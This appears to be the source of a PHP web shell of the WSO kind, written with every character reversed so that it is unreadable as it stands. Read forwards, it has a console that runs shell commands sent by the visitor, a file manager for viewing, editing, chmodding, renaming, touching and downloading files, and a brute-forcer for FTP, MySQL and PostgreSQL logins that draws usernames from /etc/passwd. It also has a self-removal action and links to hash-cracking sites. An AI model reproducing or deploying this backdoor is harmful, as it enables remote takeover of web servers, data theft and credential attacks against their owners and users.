pmet\$\t\t\t\r\n{ )2 == ]'epyt'[TSOP_\$(fiesle }\t\t\r\n}\t\t\t\t\r\n}\t\t\t\t\t\r\n}\t\t\t\t\t\t\r\n;)pmt\$(srahclaicepslmth.':>b/<'.)]0[enil\$(srahclaicepslmth.'>b<' ohce\t\t\t\t\t\t\t\r\n;++sseccus\$\t\t\t\t\t\t\t\r\n{ ) )pmt\$ ,]0[enil\$ ,]1[revres\$@,]0[revres\$@(ecroFeturBosw (fi\t\t\t\t\t\t\r\n;stpmetta\$++\t\t\t\t\t\t\r\n;]i\$[]0[enil\$ =. pmt\$\t\t\t\t\t\t\t\r\n)i\$-- ;0=>i\$ ;1-)]0[enil\$(nelrts=i\$(rof\t\t\t\t\t\t\r\n;\"\" = pmt\$\t\t\t\t\t\t\r\n{ )]'esrever'[TSOP_\$@(fi\t\t\t\t\t\r\n}\t\t\t\t\t\r\n;'>rb<'.)]0[enil\$(srahclaicepslmth.':>b/<'.)]0[enil\$(srahclaicepslmth.'>b<' ohce\t\t\t\t\t\t\r\n;++sseccus\$\t\t\t\t\t\t\r\n{ ) )]0[enil\$ ,]0[enil\$ ,]1[revres\$@,]0[revres\$@(ecroFeturBosw (fi\t\t\t\t\t\r\n;stpmetta\$++\t\t\t\t\t\r\n;)enil\$ ,\":\"(edolpxe = enil\$\t\t\t\t\t\r\n{ )enil\$ sa pmet\$(hcaerof\t\t\t\t\r\n) )pmet\$(yarra_si (fi\t\t\t\r\n;)'dwssap/cte/'(elif@ = pmet\$\t\t\t\r\n{ )1 == ]'epyt'[TSOP_\$(fi\t\t\r\n;)]'revres'[TSOP_\$ ,\":\"(edolpxe = revres\$\t\t\r\n;0 = stpmetta\$\t\t\r\n;0 = sseccus\$\t\t\r\n}\t\t\r\n}\t\t\t\r\n;ser\$ nruter\t\t\t\t\r\n;)ser\$(esolc_gp@\t\t\t\t\r\n;)rts\$(tcennoc_gp@ = ser\$\t\t\t\t\r\n;\"sergtsop=emanbd '\".ssap\$.\"'=drowssap '\".nigol\$.\"'=resu '\".trop\$.\"'=trop '\".pi\$.\"'=tsoh\" = rts\$\t\t\t\t\r\n{ )ssap\$,nigol\$,trop\$,pi\$(ecroFeturBosw noitcnuf\t\t\t\r\n{ ) 'lqsgp' == ]'otorp'[TSOP_\$ (fiesle }\t\t\r\n}\t\t\t\r\n;ser\$ nruter\t\t\t\t\r\n;)ser\$(esolc_lqsym@\t\t\t\t\r\n;)ssap\$ ,nigol\$ ,)6033:trop\$?trop\$(.':'.pi\$(tcennoc_lqsym@ = ser\$\t\t\t\t\r\n{ )ssap\$,nigol\$,trop\$,pi\$(ecroFeturBosw noitcnuf\t\t\t\r\n{ ) 'lqsym' == ]'otorp'[TSOP_\$ (fiesle }\t\t\r\n}\t\t\t\r\n;ser\$ nruter\t\t\t\t\r\n;)pf\$(esolc_ptf@\t\t\t\t\r\n;)ssap\$ ,nigol\$ ,pf\$(nigol_ptf@ = ser\$\t\t\t\t\r\n;eslaf nruter )pf\$!(fi\t\t\t\t\r\n;)12:trop\$?trop\$ ,pi\$(tcennoc_ptf@ = pf\$\t\t\t\t\r\n{ )ssap\$,nigol\$,trop\$,pi\$(ecroFeturBosw noitcnuf\t\t\t\r\n{ ) 'ptf' == ]'otorp'[TSOP_\$ (fi\t\t\r\n;'>rb<'.)]'revres'[TSOP_\$(srahclaicepslmth.' >naps/<:revreS>naps< '.)]'otorp'[TSOP_\$(srahclaicepslmth.' >naps/<:epyT>naps<>tnetnoc=ssalc vid<>1h/<stluseR>1h<' ohce\t\t\r\n{ ) )]'otorp'[TSOP_\$(tessi (fi\t\r\n;)(redaeHosw\t\r\n{ )(ecrofeturBnoitca noitcnuf\r\n\r\n}\r\n;)(retooFosw\t\r\n;'>vid/<>a/<seY>\")'\\sey'\\,llun,llun(g\"=kcilcno #=ferh a<>rb<?llehs eht evomer ot tnaw yllaeR>tnetnoc=ssalc vid<>1h/<ediciuS>1h<' ohce\t\r\n;)(redaeHosw \r\n)'sey' =! ]'1p'[TSOP_\$(fi \r\n;'!rorre knilnu' ohce\t\t\t\r\nesle\t\t\r\n;)'devomer neeb sah llehS'(eid\t\t\t\r\n)))__ELIF__ ,'' ,'!*.s\\)\\+d\\(\\!'(ecalper_gerp(knilnu@(fi\t\t\r\n)'sey' == ]'1p'[TSOP_\$(fi\t\r\n\r\n{ )(evomeRfleSnoitca noitcnuf\r\n\r\n}\r\n;)'!eyb'(eid\t\r\n;)0063 - )(emit ,'' ,)]'TSOH_PTTH'[REVRES_\$(5dm(eikooctes \r\n{ )(tuogoLnoitca noitcnuf\r\n\r\n}\r\n;)(retooFosw\t\r\n;'>tpircs/<;)(sucof.dmc.fc.d>tpircs<>vid/<>mrof/<' ohce\t\r\n;'>elbat/<>rt/<>dt/<>\";)tneve(pk\"=nwodyekno \";%001:htdiw;xp0:redrob\"=elyts dmc=eman txet=epyt tupni<>dt<>dt/<\$>\"%1\"=htdiw dt<>rt<>\"%001\"=htdiw 0=gnicapsllec 0=gniddapllec \";xp0:pot-redrob;555#:roloc-dnuorgkcab;5fd# dilos xp1:redrob\"=elyts elbat<>aeratxet/<' ohce\t\r\n}\t\r\n;))]'1p'[TSOP_\$(xEosw.\"n\\\".]'1p'[TSOP_\$.\" \$\"(srahclaicepslmth ohce\t\t\r\n{ ))]'1p'[TSOP_\$(ytpme!(fi\t\r\n;'>ylnodaer \";0:nigram;0:mottob-redrob\"=elyts tuptuo=eman aeragib=ssalc aeratxet<>/rb<>rbon/<)1&>2( tuodts ot rredts tcerider >'.)'':'dekcehc'?]'tuo_ot_rredts'.)]'TSOH_PTTH'[REVRES_\$(5dm[EIKOOC_\$||)]'2p'[TSOP_\$(ytpme!(.' 1=eulav srorre_wohs=eman xobkcehc=epyt tupni< XAJA gnisu dnes > 1=eulav xaja=eman xobkcehc=epyt tupni<>rbon< >\">>\"=eulav \"};)'\\'\\:1?dekcehc.srorre_wohs.fc.d,eulav.saila.fc.d,llun,llun(g{esle};)'\\'\\:1?dekcehc.srorre_wohs.fc.d,eulav.saila.fc.d,llun,llun(a{)dekcehc.xaja.fc.d(fi;)eulav.saila.fc.d(dda\"=kcilcno nottub=epyt tupni<>tceles/<' ohce\t\r\n\t\r\n}\t\r\n;'>noitpo/<'.n\$.'>\"'.)v\$(srahclaicepslmth.'\"=eulav noitpo<' ohce\t\t\r\n}\t\t\r\n;eunitnoc\t\t\t\r\n;'>puorgtpo/<>\"-'.)n\$(srahclaicepslmth.'-\"=lebal puorgtpo<' ohce\t\t\t\r\n{ )'' == v\$(fi\t\t\r\n{ )v\$ >= n\$ sa ]'sesaila'[SLABOLG\$(hcaerof\t\r\n;'>saila=eman tceles<>\";eslaf nruter };)'\\'\\:1?dekcehc.srorre_wohs.siht,eulav.dmc.siht,llun,llun(g{esle};)'\\'\\:1?dekcehc.srorre_wohs.siht,eulav.dmc.siht,llun,llun(a{)dekcehc.xaja.siht(fi;)eulav.dmc.siht(dda};eslaf nruter;'\\'\\=eulav.dmc.fc.d;'\\'\\=eulav.tuptuo.fc.d{)'\\raelc'\\==eulav.dmc.fc.d(fi\"=timbusno fc=eman mrof<>tnetnoc=ssalc vid<>1h/<elosnoC>1h<' ohce\t\r\n;\">tpircs/<\r\n}\r\n;1-htgnel.sdmc = ruc\t\r\n;)''(hsup.sdmc\t\r\n;)dmc(hsup.sdmc\t\r\n;)(pop.sdmc\t\r\n{ )dmc(dda noitcnuf\r\n}\r\n}\t\r\n;--ruc\t\t\t\r\nesle\t\t\r\n;]ruc[sdmc = eulav.dmc.fc.tnemucod\t\t\t\r\n)htgnel.sdmc < ruc(fi\t\t\r\n;++ruc\t\t\r\n{ )04 == n(fi esle }\t\r\n;++ruc\t\t\t\r\nesle\t\t\r\n;]ruc[sdmc = eulav.dmc.fc.tnemucod\t\t\t\r\n)0=>ruc(fi\t\t\r\n;--ruc\t\t\r\n{ )83 == n(fi\t\r\n;edoCyek.e : hcihw.e ? )tnevE.wodniw( = n rav\t\r\n{ )e(pk noitcnuf\r\n;0 = ruc rav\r\n;)''(yarrA wen = sdmc rav\r\n;)NWODYEK.tnevE(stnevEerutpac.wodniw )tnevE.wodniw(fi\r\n>tpircs<\" ohce \r\n;)(redaeHosw\t\r\n;)0 ,'xaja'.)]'TSOH_PTTH'[REVRES_\$(5dm(eikooctesOSW\t\t\r\n))]'1p'[TSOP_\$(ytpme!&&)]'xaja'[TSOP_\$(ytpme(fi \r\n}\t\r\n;tixe\t\t\r\n;pmet\$ ,\"n\\\" ,)pmet\$(nelrts ohce\t\t\r\n;)(naelc_teg_bo = pmet\$\t\t\r\n;\";thgieHllorcs.tuptuo.fc.d = poTllorcs.tuptuo.fc.d\" ohce\t\t\r\n;\";'\".pmet\$.\"'=+eulav.tuptuo.fc.d\" ohce\t\t\r\n}\t\t\r\n}\t\t\t\r\n;\";'\".]'dwc'[SLABOLG\$.\"'=_c\" ohce\t\t\t\t\r\n;)(dwcteg@ = ]'dwc'[SLABOLG\$\t\t\t\t\r\n{ ))]1[hctam\$(ridhc@(fi\t\t\t\r\n{\t))hctam\$,]'1p'[TSOP_\$,\"!\$)+];^[(+s\\dc*.!\"(hctam_gerp(fi\t\t\r\n;))\"0\\'\\\\t\\r\\n\\\",)]'1p'[TSOP_\$(xEosw.\"n\\\".]'1p'[TSOP_\$.\" \$n\\\"(sehsalscdda ,'8-FTU' ,]'tesrahc'[TSOP_\$(vnoci@ = pmet\$\t\t\r\n;\"n\\;''=eulav.dmc.fc.d\" ohce\t\t\r\n;)(trats_bo\t\t\r\n;)eurt ,'xaja'.)]'TSOH_PTTH'[REVRES_\$(5dm(eikooctesOSW\t\t\r\n{ ))]'xaja'[TSOP_\$(tessi(fi\t\r\n\r\n;)0 ,'tuo_ot_rredts'.)]'TSOH_PTTH'[REVRES_\$(5dm(eikooctesOSW \r\n))]'1p'[TSOP_\$(ytpme!(fiesle } \r\n;'1&>2 ' =. ]'1p'[TSOP_\$ \r\n;)eurt ,'tuo_ot_rredts'.)]'TSOH_PTTH'[REVRES_\$(5dm(eikooctesOSW \r\n{ ))]'2p'[TSOP_\$(ytpme! && )]'1p'[TSOP_\$(ytpme!(fi \r\n{ )(elosnoCnoitca noitcnuf\r\n\r\n}\r\n;)(retooFosw\t\r\n;'>vid/<' ohce\t\r\n}\t\r\n;kaerb\t\t\t\r\n;'>mrof/<>\">>\"=eulav timbus=epyt tupni<>\"'.))]'1p'[TSOP_\$(emitmelif@ ,\"s:i:H d-m-Y\"(etad.'\"=eulav hcuot=eman txet=epyt tupni<>\";eslaf nruter;)eulav.hcuot.siht,llun,'\\' . )]'1p'[TSOP_\$(edocnelru . ''\\,llun,llun(g\"=timbusno mrof<>tpircs/<;\"\"=_3p>tpircs<' ohce\t\t\t\r\n;)(ehcactatsraelc\t\t\t\r\n}\t\t\t\r\n;'!tamrof emit daB' ohce esle }\t\t\t\t\r\n;'!dehcuoT' ohce\t\t\t\t\t\t\r\nesle\t\t\t\t\t\r\n;'!liaF' ohce\t\t\t\t\t\t\r\n))emit\$,emit\$,]'1p'[TSOP_\$(hcuot!(fi\t\t\t\t\t\r\n{ )emit\$(fi\t\t\t\t\r\n;)]'3p'[TSOP_\$(emitotrts = emit\$\t\t\t\t\r\n{ ) )]'3p'[TSOP_\$(ytpme! (fi\t\t\t\r\n:'hcuot' esac\t\t\r\n;kaerb\t\t\t\r\n;'>mrof/<>\">>\"=eulav timbus=epyt tupni<>\"'.)]'1p'[TSOP_\$(srahclaicepslmth.'\"=eulav eman=eman txet=epyt tupni<>\";eslaf nruter;)eulav.eman.siht,llun,'\\' . )]'1p'[TSOP_\$(edocnelru . ''\\,llun,llun(g\"=timbusno mrof<' ohce\t\t\t\r\n}\t\t\t\r\n;)'>tpircs/<)\"\",llun,\"'.)]'3p'[TSOP_\$(edocnelru.'\",llun,llun(g>tpircs<'(eid\t\t\t\t\t\r\nesle\t\t\t\t\r\n;'>rb<!emaner t'\\naC' ohce\t\t\t\t\t\r\n))]'3p'[TSOP_\$ ,]'1p'[TSOP_\$(emaner@!(fi\t\t\t\t\r\n{ ) )]'3p'[TSOP_\$(ytpme! (fi\t\t\t\r\n:'emaner' esac\t\t\r\n;kaerb\t\t\t\r\n;'>elbat/<>rt/<>dt/<>erp/<'.)]2[h\$(srahclaicepslmth.'>erp<>333333#=rolocgb dt<>dt/<>erp/<'.]1[h\$.'>erp<>828282#=rolocgb dt<>dt/<>naps/<>erp/<'.]0[h\$.'>erp<>\";lamron :thgiew-tnof\"=elyts naps<>333333#=rolocgb dt<>rt<>222222#=rolocgb 5=gniddapllec 1=gnicapsllec elbat<' ohce\t\t\t\r\n}\t \t\t\r\n}\t\t\t\t\r\n;\"n\\\" =. ]2[h\$\t\t\t\t\t\r\n;'>rb<' =. ]1[h\$\t\t\t\t\t\r\n};'>rb<'.)1+i\$,'X80%'(ftnirps =. ]0[h\${ )nel\$ < 1+i\$( fi\t\t\t\t\t\r\n;0 = n\$\t\t\t\t\t\r\n{ )23 == n\$( fi\t\t\t\t\r\n;++n\$\t\t\t\t\r\n}\t\t\t\t\r\n;kaerb ;]i\$[c\$ =. ]2[h\$ :tluafed\t\t\t\t\t\r\n;kaerb ;' ' =. ]2[h\$ :31 esac\t\t\t\t\t\r\n;kaerb ;' ' =. ]2[h\$ :01 esac\t\t\t\t\t\r\n;kaerb ;' ' =. ]2[h\$ :9 esac\t\t\t\t\t\r\n;kaerb ;' ' =. ]2[h\$ :0 esac\t\t\t\t\t\r\n{ ) )]i\$[c\$(dro ( hctiws\t\t\t\t\r\n;' '.))]i\$[c\$(dro,'X20%'(ftnirps =. ]1[h\$\t\t\t\t\r\n{ )i\$++ ;nel\$<i\$ ;0=i\$( rof\t\t\t\r\n;)c\$(nelrts = nel\$\t\t\t\r\n;)'','','>rb<00000000'(yarra = h\$\t\t\t\r\n;0 = n\$\t\t\t\r\n;)]'1p'[TSOP_\$(stnetnoc_teg_elif@ = c\$\t\t\t\r\n:'pmudxeh' esac\t\t\r\n;kaerb\t\t\t\r\n;'>mrof/<>\">>\"=eulav timbus=epyt tupni<>aeratxet/<' ohce\t\t\t\r\n}\t\t\t\r\n;)pf\$(esolcf@\t\t\t\t\r\n;))4201 ,pf\$(daerf@(srahclaicepslmth ohce\t\t\t\t\t\r\n) )pf\$(foef@! (elihw\t\t\t\t\r\n{ )pf\$(fi\t\t\t\r\n;)'r' ,]'1p'[TSOP_\$(nepof@ = pf\$\t\t\t\r\n;'>aeragib=ssalc txet=eman aeratxet<>\";eslaf nruter;)eulav.txet.siht+'\\1'\\,llun,'\\' . )]'1p'[TSOP_\$(edocnelru . ''\\,llun,llun(g\"=timbusno mrof<' ohce\t\t\t\r\n}\t\t\t\r\n}\t\t\t\t\r\n;)emit\$,emit\$,]'1p'[TSOP_\$(hcuot@\t\t\t\t\t\r\n;'>tpircs/<;\"\"=_3p>tpircs<>rb<!devaS' ohce\t\t\t\t\t\r\n;)pf\$(esolcf@\t\t\t\t\t\r\n;)]'3p'[TSOP_\$,pf\$(etirwf@\t\t\t\t\t\r\n{ )pf\$(fi\t\t\t\t\r\n;)\"w\",]'1p'[TSOP_\$(nepof@ = pf\$\t\t\t\t\r\n;)1,]'3p'[TSOP_\$(rtsbus = ]'3p'[TSOP_\$\t\t\t\t\r\n;)]'1p'[TSOP_\$(emitmelif@ = emit\$\t\t\t\t\r\n{ ) )]'3p'[TSOP_\$(ytpme! (fi\t\t\t\r\n}\t\t\t\r\n;kaerb\t\t\t\t\r\n;'elbaetirw t'\\nsi eliF' ohce\t\t\t\t\r\n{ ))]'1p'[TSOP_\$(elbatirw_si! (fi\t\t\t\r\n:'tide' esac\t\t\r\n;kaerb\t\t\t\r\n;'>mrof/<>\">>\"=eulav timbus=epyt tupni<>\"'.)4-,))]'1p'[TSOP_\$(smrepelif ,'o%'(ftnirps(rtsbus.'\"=eulav domhc=eman txet=epyt tupni<>\";eslaf nruter;)eulav.domhc.siht,llun,'\\' . )]'1p'[TSOP_\$(edocnelru . ''\\,llun,llun(g\"=timbusno mrof<>tpircs/<;\"\"=_3p>tpircs<' ohce\t\t\t\r\n;)(ehcactatsraelc\t\t\t\r\n}\t\t\t\r\n;'>tpircs/<;\"\"=eulav.3p.fm.tnemucod>tpircs<>rb<!snoissimrep tes t'\\naC' ohce\t\t\t\t\t\r\n))smrep\$ ,]'1p'[TSOP_\$(domhc@!(fi\t\t\t\t\r\n;))1-i\$-)]'3p'[TSOP_\$(nelrts( ,8(wop*]i\$[]'3p'[TSOP_\$)tni( =+ smrep\$\t\t\t\t\t\r\n)i\$--;0=>i\$;1-)]'3p'[TSOP_\$(nelrts=i\$(rof\t\t\t\t\r\n;0 = smrep\$\t\t\t\t\r\n{ ) )]'3p'[TSOP_\$(ytpme! (fi\t\t\t\r\n:'domhc' esac\t\t\r\n;kaerb\t\t\t\r\n}\t\t\t\r\n;'>vid/<'.)edoc\$,)'>tnof/<',' tnof<'(yarra ,)'>naps/<',' naps<'(yarra(ecalper_rts ohce\t\t\t\t\r\n;)eurt,]'1p'[TSOP_\$(elif_thgilhgih@ = edoc\$\t\t\t\t\r\n;'>\";kcalb:roloc;1e1e1e# :roloc-dnuorgkcab\"=elyts 1lm=ssalc vid<' ohce\t\t\t\t\r\n{ ) )]'1p'[TSOP_\$(elbadaer_si@ (fi\t\t\t\r\n:'thgilhgih' esac\t\t\r\n;kaerb\t\t\t\r\n;'>erp/<' ohce\t\t\t\r\n}\t\t\t\r\n;)pf\$(esolcf@\t\t\t\t\r\n;))4201 ,pf\$(daerf@(srahclaicepslmth ohce\t\t\t\t\t\r\n) )pf\$(foef@! (elihw\t\t\t\t\r\n{ )pf\$(fi\t\t\t\r\n;)'r' ,]'1p'[TSOP_\$(nepof@ = pf\$\t\t\t\r\n;'>1lm=ssalc erp<' ohce\t\t\t\r\n:'weiv' esac\t\t\r\n{ )]'2p'[TSOP_\$(hctiws\t\r\n;'>rb<>rb<' ohce\t\r\n;' >a/<'.)v\$:'>b/<] '.v\$.' [>b<'?)]'2p'[TSOP_\$@==)v\$(rewolotrts((.'>\")'\\'.)v\$(rewolotrts.''\\,'\\' . )]'1p'[TSOP_\$(edocnelru . ''\\,llun,llun(g\"=kcilcno #=ferh a<' ohce\t\t\r\n)v\$ sa m\$(hcaerof\t\r\n;)'hcuoT' ,'emaneR' ,'domhC'(yarra = m\$\t\t\r\nesle\t\r\n;)'hcuoT' ,'emaneR' ,'domhC' ,'tidE' ,'pmudxeH' ,'daolnwoD' ,'thgilhgiH' ,'weiV'(yarra = m\$\t\t\r\n) )]'1p'[TSOP_\$(elif_si (fi\t\r\n;'weiv' = ]'2p'[TSOP_\$\t\t\r\n) )]'2p'[TSOP_\$(ytpme (fi\t\r\n;'>rb<>rb<'.))]'1p'[TSOP_\$(emitmelif,'s:i:H d-m-Y'(etad.' >naps/<:emit yfidoM>naps< '.))]'1p'[TSOP_\$(emitaelif,'s:i:H d-m-Y'(etad.' >naps/<:emit sseccA>naps< '.))]'1p'[TSOP_\$(emitcelif,'s:i:H d-m-Y'(etad.' >naps/<:emit egnahC>naps<' ohce\t\r\n;'>rb<'.]'eman'[dig\$.'/'.]'eman'[diu\$.' >naps/<:puorG/renwO>naps< '.)]'1p'[TSOP_\$(roloCsmrePosw.' >naps/<:noissimreP>naps< '.)'-':))]'1p'[TSOP_\$(eziselif(eziSweiVosw?)]'1p'[TSOP_\$(elif_si(.' >naps/<:eziS>naps< '.))]'1p'[TSOP_\$(emanesab@(srahclaicepslmth.' >naps/<:emaN>naps<' ohce\t\r\n;))]'1p'[TSOP_\$(puorgelif@(digrgteg_xisop@ = dig\$ esle }\t\r\n;)]'1p'[TSOP_\$(puorgelif@ = ]'eman'[dig\$\t\t\r\n;)]'1p'[TSOP_\$(renwoelif@ = ]'eman'[diu\$\t\t\r\n{ )diu\$!(fi\t\r\n;))]'1p'[TSOP_\$(renwoelif@(diuwpteg_xisop@ = diu\$\t\r\n}\t\r\n;nruter\t\t\r\n;)(retooFosw\t\t\r\n;'stsixe ton eliF' ohce\t\t\r\n{ ) )]'1p'[TSOP_\$@(stsixe_elif! (fi\t\r\n;'>tnetnoc=ssalc vid<>1h/<sloot eliF>1h<' ohce\t\r\n;)(redaeHosw\t\r\n}\t\r\n}\t\t\r\n}\t\t\t\r\n;)pf\$(esolcf\t\t\t\t\r\n;\"tide\" = ]'2p'[TSOP_\$\t\t\t\t\r\n{ )pf\$(fi\t\t\t\r\n;)'w' ,]'1p'[TSOP_\$(nepof@ = pf\$\t\t\t\r\n{ ))]'1p'[TSOP_\$(stsixe_elif!(fi\t\t\r\n{ ) 'elifkm' == ]'2p'[TSOP_\$@ (fi\t\r\n}\t\r\n;tixe}\t\t\r\n}\t\t\t\r\n;)pf\$(esolcf\t\t\t\t\r\n;)4201 ,pf\$(daerf@ ohce\t\t\t\t\t\r\n))pf\$(foef@!(elihw\t\t\t\t\r\n{ )pf\$(fi\t\t\t\r\n;)\"r\" ,]'1p'[TSOP_\$(nepof@ = pf\$\t\t\t\r\n;)\"maerts-tetco/noitacilppa :epyT-tnetnoC\"(redaeh \r\nesle }\t\t\t\r\n;)epyt\$ . \" :epyT-tnetnoC\"(redaeh\t\t\t\t\r\n;)]'1p'[TSOP_\$(epyt_tnetnoc_emim@ = epyt\$\t\t\t\t\r\n{ ))\"epyt_tnetnoc_emim\"(stsixe_noitcnuf( fi\t\t\t\r\n;))]'1p'[TSOP_\$(emanesab.\"=emanelif ;tnemhcatta :noitisopsiD-tnetnoC\"(redaeh\t\t\t\r\n;)6904 ,\"reldnahzg_bo\"(trats_bo\t\t\t\r\n{ ))]'1p'[TSOP_\$(elbadaer_si@ && )]'1p'[TSOP_\$(elif_si@(fi\t\t\r\n{ )'daolnwod'==]'2p'[TSOP_\$@(fi\t\r\n;)]'1p'[TSOP_\$(edocedlru = ]'1p'[TSOP_\$\t\t\r\n) )]'1p'[TSOP_\$(tessi (fi\t\r\n{ )(slooTseliFnoitca noitcnuf\r\n\r\n}\r\n;)(retooFosw\t\r\n;\">vid/<>mrof/<\t\t\r\n>rb<>\"\\)(timbus.fh.tnemucod;'php.xedni/em.rofkcarc//:ptth'=noitca.fh.tnemucod\"\\=kcilcno 'em.rofkcarc'=eulav 'nottub'=epyt tupni< \r\n>rb<>\"\\)(timbus.fh.tnemucod;'5dm=s&'+eulav.hsah.fh.tnemucod+'=q?/moc.ezionder.5dm//:ptth'=noitca.fh.tnemucod\"\\=kcilcno 'moc.ezionder.5dm'=eulav 'nottub'=epyt tupni<\t\t\t\r\n>rb<>\"\\)(timbus.fh.tnemucod;'php.xedni/ur.gnikcarchsah//:sptth'=noitca.fh.tnemucod\"\\=kcilcno 'ur.gnikcarchsah'=eulav 'nottub'=epyt tupni<\t\t\t\r\n>/'dnif'=eulav 'tca'=eman 'neddih'=epyt tupni< \r\n>rb<>';xp002:htdiw'=elyts 'hsah'=eman 'txet'=epyt tupni<\t\t\t\r\n>'fh'=eman 'knalb_'=tegrat 'tsop'=dohtem mrof<\t\t\r\n>tnetnoc=ssalc vid<>1h/<:hsah rof hcraeS>1h<>rb<>vid/<\" ohce\t\r\n;)]'c'[TSOP_\$(bolGevisruceRosw\t\t\r\n)]'3p'[TSOP_\$@(fi\t\r\n}\t\r\n}\t\t\r\n}\t\t\t\r\n}\t\t\t\t\r\n;\">rb<>a/<\".)meti\$(srahclaicepslmth.\">')\"\\\"\\,\"\\weiv\"\\ ,\"\\\".)meti\$(edocnelru.\"\"\\,llun,\"\\slooTseliF\"\\(g'=kcilcno '#'=ferh a<\" ohce\t\t\t\t\t\t\r\n)eslaf==!)]'2p'[TSOP_\$ ,)meti\$(stnetnoc_teg_elif(soprts@ || )]'2p'[TSOP_\$(ytpme(fi\t\t\t\t\t\r\n{ esle }\t\t\t\t\r\n;)meti\$(bolGevisruceRosw\t\t\t\t\t\t\r\n)meti\$=!htap\$(fi\t\t\t\t\t\r\n{))meti\$(rid_si@(fi\t\t\t\t\r\n{ )meti\$ sa shtap\$(hcaerof\t\t\t\r\n{ ))shtap\$(tnuoc@&&)shtap\$(yarra_si(fi\t\t\r\n;)))RIDYLNO_BOLG ,'*'.htap\$(bolg@ ,)]'3p'[TSOP_\$.htap\$(bolg@(egrem_yarra@(euqinu_yarra@ = shtap\$\t\t\r\n;'/'=.htap\$\t\t\t\r\n)'/' =! )1- ,htap\$(rtsbus(fi\t\t\r\n{ )htap\$(bolGevisruceRosw noitcnuf\t\r\n\r\n;\">mrof/<>elbat/<\t\t\t\r\n>rt/<>dt/<>'>>'=eulav 'timbus'=epyt tupni<>dt<>dt/<>dt<>rt<\t\t\t\r\n>rt/<>dt/<>'%001:htdiw'=elyts '*'=eulav 'emanelif'=eman 'txet'=epyt tupni<>dt<>dt/<:emaN>dt<>rt<\t\t\t\r\n>rt/<>dt/<>'%001:htdiw'=elyts '\". )]'dwc'[SLABOLG\$(srahclaicepslmth .\"'=eulav 'dwc'=eman 'txet'=epyt tupni<>dt<>dt/<:htaP>dt<>rt<\t\t\t\r\n>rt/<>dt/<>'%001:htdiw'=elyts 'txet'=eman 'txet'=epyt tupni<>dt<>dt/<:txeT>'%1'=htdiw dt<>rt<\t\t\t\r\n>'%05'=htdiw '0'=gnicapsllec '1'=gniddapllec elbat<>\"\\;eslaf nruter;)eulav.emanelif.siht,eulav.txet.siht,llun,eulav.dwc.siht,llun(g\"\\=timbusno mrof<\t\t\r\n>tnetnoc=ssalc vid<>1h/<:selif hcraeS>1h<>rb<>vid/<>erp/<\"ohce\t\r\n}\t\r\n;))]'2p'[TSOP_\$(]'1p'[TSOP_\$(srahclaicepslmth ohce))slooTgnirts\$ ,]'1p'[TSOP_\$(yarra_ni(fi\t\t\r\n{ ))]'1p'[TSOP_\$(ytpme!(fi\t\r\n;\">'tuptuOrts'=di 'xp5:pot-nigram\".)'':';enon:yalpsid'?)]'1p'[TSOP_\$(ytpme(.\"'=elyts '1lm'=ssalc erp<>mrof/<>aeratxet/<\".))]'2p'[TSOP_\$@(srahclaicepslmth:''?)]'1p'[TSOP_\$(ytpme(.\">aeragib=ssalc 'xp5:pot-nigram'=elyts 'tupni'=eman aeratxet<>rb<XAJA gnisu dnes > 1=eulav xaja=eman xobkcehc=epyt tupni< >/'>>'=eulav 'timbus'=epyt tupni<>tceles/<\" ohce\t\t\r\n;\">noitpo/<\".k\$.\">'\".)v\$(srahclaicepslmth.\"'=eulav noitpo<\" ohce\t\t\r\n)v\$ >= k\$ sa slooTgnirts\$(hcaerof\t\r\n;\">'looTtceles'=eman tceles<>';eslaf nruter };)eulav.tupni.siht,eulav.looTtceles.siht,llun,llun(g{esle};)eulav.tupni.siht,eulav.looTtceles.siht,llun,llun(a{)dekcehc.xaja.siht(fi'=timbuSno 'mroFsloot'=eman mrof<\" ohce\t\r\n;'>tnetnoc=ssalc vid<>1h/<snoisrevnoc gnirtS>1h<' ohce\t\r\n;)(redaeHosw\t\r\n;)0 ,'xaja'.)]'TSOH_PTTH'[REVRES_\$(5dm(eikooctesOSW\t\t\r\n))]'1p'[TSOP_\$(ytpme!&&)]'xaja'[TSOP_\$(ytpme(fi \r\n}\t\r\n;tixe\t\t\r\n;pmet\$ ,\"n\\\" ,)pmet\$(nelrts ohce\t\t\r\n;\"n\\;'\".)\"0\\'\\\\t\\r\\n\\\",))(naelc_teg_bo(srahclaicepslmth(sehsalscdda.\"'=LMTHrenni.)'tuptuOrts'(dIyBtnemelEteg.tnemucod;''=yalpsid.elyts.)'tuptuOrts'(dIyBtnemelEteg.tnemucod\" = pmet\$\t\t\r\n;)]'2p'[TSOP_\$(]'1p'[TSOP_\$ ohce\t\t\t\r\n))slooTgnirts\$ ,]'1p'[TSOP_\$(yarra_ni(fi\t\t\r\n;)(trats_bo\t\t\r\n;)eurt ,'xaja'.)]'TSOH_PTTH'[REVRES_\$(5dm(eikooctesOSW\t\t\r\n{ ))]'xaja'[TSOP_\$(tessi(fi\t\r\n;)\t\r\n,'nelrts' >= 'htgnel gnirtS'\t\t\r\n,'srahclaicepslmth' >= 'srahclaicepslmtH'\t\t\r\n,'reppuotrts' >= 'esac reppu ot gnirtS'\t\t\r\n,'rewolotrts' >= 'esac rewol ot gnirtS'\t\t\r\n,'cednib' >= 'CED ot NIB'\t\t\r\n,'xehnib' >= 'XEH ot NIB'\t\t\r\n,'nibced' >= 'NIB ot CED'\t\t\r\n,'xehced' >= 'XEH ot CED'\t\t\r\n,'nib2xeh' >= 'NIB ot XEH'\t\t\r\n,'cedxeh' >= 'CED ot XEH'\t\t\r\n,'iicsa2xeh' >= 'IICSA ot XEH'\t\t\r\n,'xeh2iicsa' >= 'XEH ot IICSA'\t\t\r\n,'23crc' >= '23CRC'\t\t\r\n,'tpyrc' >= 'tpyrc'\t\t\r\n,'1ahs' >= 'hsah 1ahs'\t\t\r\n,'5dm' >= 'hsah 5dm'\t\t\r\n,'edocnelru_lluf' >= 'edocnelru lluF'\t\t\r\n,'edocedlru' >= 'edoced lrU'\t\t\r\n,'edocnelru' >= 'edocne lrU'\t\t\r\n,'edoced_46esab' >= 'edoced 46esaB'\t\t\r\n,'edocne_46esab' >= 'edocne 46esaB'\t\t\r\n(yarra = slooTgnirts\$\t\r\n}};)r\$(reppuotrts nruter;))]i\$[p\$(dro(xehced.'%' =.r\$)i\$++;)p\$(nelrts<i\$;0=i\$(rof;''=r\${)p\$(edocnelru_lluf noitcnuf{ ))'edocnelru_lluf'(stsixe_noitcnuf!(fi\t\r\n}};)r\$(reppuotrts nruter;))]i\$[p\$(dro,'X20%'(ftnirps =.r\$)i\$++;)p\$(nelrts<i\$;0=i\$(rof;''=r\${)p\$(xeh2iicsa noitcnuf{ 